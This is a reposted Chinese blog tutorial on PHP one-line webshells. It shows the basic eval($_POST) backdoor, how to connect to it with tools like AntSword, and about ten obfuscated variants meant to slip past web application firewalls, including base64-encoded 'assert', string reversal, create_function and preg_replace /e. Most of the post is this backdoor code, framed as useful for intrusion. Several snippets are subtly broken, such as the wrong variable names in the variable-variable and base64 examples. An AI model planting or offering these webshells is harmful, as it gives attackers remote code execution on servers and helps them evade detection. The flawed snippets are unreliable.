淺談php一句話木馬


一句話木馬簡介

一句話木馬就是一段簡單的代碼,就這短短的一行代碼,就能做到和大馬相當的功能。一句話木馬短小精悍,而且功能強大,隱蔽性非常好,在入侵中始終扮演着強大的作用。

一句話木馬工作原理

<?php @eval($_POST['shell']);?>
這是php的一句話后門中最普遍的一種。它的工作原理是:
首先存在一個名為shell的變量,shell的取值為HTTP的POST方式。Web服務器對shell取值以后,然后通過eval()函數執行shell里面的內容。

實例:

<?php @eval($_POST['shell']);?>

將以上代碼寫入webshell.php文件中然后放在站點目錄下通過瀏覽器訪問,以POST方式傳入shell=phpinfo();

也可以用蟻劍或菜刀等工具連接(我這里用的是蟻劍):
在url地址框中輸入http://127.0.0.1/webshell.php,在連接密碼框中輸入shell

然后就可以看到目標站點目錄下的文件了

一句話木馬的多種變形

一般的php一句話后門很容易被網站防火牆waf攔截,而waf通常通過判斷關鍵字來辨別一句話木馬,要想繞過waf就需要對木馬進行一些變形。

php變量

<?php 
$a = "assert";
$a(@$_POST['shell']); 
?>

第三行使用了變量函數$a,變量儲存了函數名asse,便可以直接用變量替代函數名。
php變量簡單變形1

<?php  
$a="TR"."Es"."sA";  
$b=strtolower($a);  
$c=strrev($b);  
@$c($_POST['shell']);  
?>

使用字符串拼接、大小寫混淆、字符串逆序組合而成

php變量簡單變形2

<?php  
$a="AssERT";  
$b=strtolower($a);  
@$b($_POST['shell']);  
?>

使用大小寫混淆配合字符串轉小寫函數strtolower組合而成

PHP可變變量

<?php
$bb="assert";
$a='bb';
$$aa($_POST['shell']);
?>

以上代碼可表示為$$aa = $($aa) = $ (‘bb’) = $bb = "assert"

自定義函數

<?php  
function fun($a){  
    @eval($a);  
}  
@fun($_POST['shell']);  
?>

使用function自定義函數,然后函數來調用eval函數

create_function函數

<?php 
$fun = create_function('',$_POST['shell']);
$fun();
?>

創建了一個匿名函數,並返回了一個獨一無二的函數名,然后再調用此函數

call_user_func()函數

<?php
@call_user_func(assert,$_POST['shell']);
?>

call_user_func()函數的第一個參數是被調動的函數,剩下的參數(可有多個參數)是被調用函數的參數

base64_decode 函數

<?php   
$a=base64_decode("YXNzZXJ0");  
@a($_POST['shell']);  
?>

YXNzZXJ0是assert的base64編碼,base64_decode()是base64解密函數

preg_replace函數

<?php   
    function fun(){  
        return $_POST['shell'];  
    }  
    @preg_replace("/test/e", fun(), "test123");  
?>

preg_replace 函數一個參數是一個正則表達式,按照 php的格式,表達式在兩個/之間,如果在表達式末尾加上一個 e,則第二個參數就會被當做 php代碼執行。

pares_str函數

<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>

執行pares_str函數后可以生成一個名為$a,值為"eval"的變量。

str_replace函數

<?php 
$a = str_replace("test", "", "astestsert");
$a($_POST['shell']);
?>

此函數用於將第三個參數中的第一個參數替換為第二個參數

以上的POST也可替換成GET,但同時shell的傳遞方式也要改為GET形式,在使用一句話木馬時,也可以在前面加一個@來屏蔽錯誤,增加其隱蔽性。

總結:一句話木馬的變換方式還有很多種,本小白也是淺淺的總結了一下。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM